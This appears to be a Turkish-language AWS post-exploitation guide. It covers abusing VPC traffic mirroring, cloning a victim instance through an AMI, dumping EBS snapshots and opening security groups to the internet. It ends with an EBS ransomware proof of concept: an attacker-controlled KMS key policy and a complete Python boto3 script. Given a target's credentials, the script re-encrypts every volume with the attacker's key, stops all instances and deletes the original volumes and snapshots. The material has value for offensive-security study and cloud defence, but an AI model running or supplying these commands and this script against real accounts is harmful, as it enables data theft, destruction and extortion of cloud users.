Kötü Amaçlı VPC Aynalama -ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC trafik aynalama, VPC içindeki EC2 örnekleri için gelen ve giden trafiği örneklere herhangi bir şey yüklemeye gerek kalmadan çoğaltır. Bu çoğaltılmış trafik genellikle analiz ve izleme için bir ağ sızma tespit sistemi (IDS) gibi bir şeye gönderilir.
Bir saldırgan, tüm trafiği yakalamak ve hassas bilgileri elde etmek için bunu kötüye kullanabilir:
Örnekler genellikle bazı hassas bilgiler içerir. İçeri girmenin farklı yolları vardır (kontrol edin EC2 ayrıcalık yükseltme hileleri). Bununla birlikte, içerdiği bilgileri kontrol etmenin başka bir yolu, bir AMI oluşturmak ve ondan yeni bir örnek çalıştırmaktır (kendi hesabınızda bile):
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshotlar, genellikle hassas bilgileri içeren birimlerin yedeklemeleridir, bu nedenle bunları kontrol etmek bu bilgileri ortaya çıkarabilir.
Eğer bir snapshot olmayan bir birim bulursanız, aşağıdaki işlemleri gerçekleştirmek için bir snapshot oluşturabilir veya sadece hesap içindeki bir örnekte bu birimi bağlayabilirsiniz:
Bir saldırgan, kendisi tarafından kontrol edilen bir hesabın API uç noktalarını çağırabilir. Cloudtrail bu çağrıları kaydedecek ve saldırgan, sızdırılan verileri Cloudtrail günlüklerinde görebilecektir.
Açık Güvenlik Grubu
Bu şekilde portları açarak ağ hizmetlerine daha fazla erişim elde edebilirsiniz:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
ECS'ye Privesc
Bir EC2 örneğini çalıştırıp, ECS örneklerini çalıştırmak için kaydetmek ve ardından ECS örneklerinin verilerini çalmak mümkündür.
Bir S3 son-exploitasyon notlarındaki Ransomware gösterimiyle benzer bir kanıt sunumu. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanılabileceğini gösterdiği için Ransomware Yönetim Hizmeti için RMS olarak yeniden adlandırılmalıdır.
İlk olarak, bir 'saldırgan' AWS hesabından, KMS'de bir müşteri tarafından yönetilen anahtar oluşturun. Bu örnekte, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör, anahtar verilerini AWS'nin kontrolü dışında tutacaktır. Anahtar politikasını, herhangi bir AWS hesabının Anahtarı kullanmasına izin vermek için değiştirin. Bu anahtar politikası için hesabın adı 'AttackSim' idi ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırıldı.
Anahtar politika kuralı, bir EBS birimini şifrelemek için kullanılabilmesi için aşağıdakilerin etkinleştirilmesini gerektirir:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Şimdi, kullanılabilir hale getirilen genel anahtar ile birlikte, şifrelenmemiş EBS birimlerine sahip bazı EC2 örnekleri olan bir 'kurban' hesabını kullanabiliriz. Bu 'kurban' hesabının EBS birimleri, şifrelemeye hedef olanlar, bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilir.
Pasted image 20231231172655
Pasted image 20231231172734
S3 fidye yazılımı örneğine benzer şekilde, bu saldırı, ekli EBS birimlerinin kopyalarını anlık görüntüler kullanarak oluşturacak, 'saldırgan' hesabından genel olarak kullanılabilir anahtarı kullanarak yeni EBS birimlerini şifreleyecek, ardından orijinal EBS birimlerini EC2 örneklerinden ayıracak ve silecek ve son olarak, yeni şifrelenmiş EBS birimlerini oluşturmak için kullanılan anlık görüntüleri silecektir.
Bu, hesapta yalnızca şifrelenmiş EBS birimlerinin kullanılabilir olmasına neden olur.
Pasted image 20231231173338
Ayrıca, betik, orijinal EBS birimlerini ayırmak ve silmek için EC2 örneklerini durdurdu. Orijinal şifrelenmemiş birimler artık mevcut değil.
Pasted image 20231231173931
Sonraki adımda, 'saldırgan' hesaptaki anahtar politikasına geri dönün ve anahtar politikasından 'Dış Şifreleme' politika kuralını kaldırın.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Yeni ayarlanan anahtar politikasının yayılması için biraz bekleyin. Ardından 'hedef' hesabına dönün ve yeni şifrelenmiş EBS birimlerinden birini eklemeyi deneyin. Birimi ekleyebileceğinizi göreceksiniz.
Pasted image 20231231174131
Pasted image 20231231174258
Ancak, şifrelenmiş EBS birimiyle EC2 örneğini gerçekten başlatmaya çalıştığınızda, birim şifresi kullanılarak şifrelenemeyeceği için örnek sadece 'beklemede' durumundan sürekli olarak 'durmuş' durumuna geçecektir. Çünkü anahtar politikası artık buna izin vermemektedir.
Pasted image 20231231174322
Pasted image 20231231174352
Bu, kullanılan Python betiğidir. 'Hedef' hesabının AWS kimlik bilgilerini ve şifreleme için kullanılacak genel olarak erişilebilir bir AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki TÜM EC2 örneklerine bağlı TÜM mevcut EBS birimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS birimlerini ayıracak, silecek ve işlem sırasında kullanılan tüm anlık görüntüleri silecektir. Bu, hedeflenen 'hedef' hesabında yalnızca şifrelenmiş EBS birimlerini bırakacaktır. BU BETİĞİ YALNIZCA BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS BİRİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarını kullanarak bunları kurtarabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC olduğunu unutmamanızı istiyorum.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()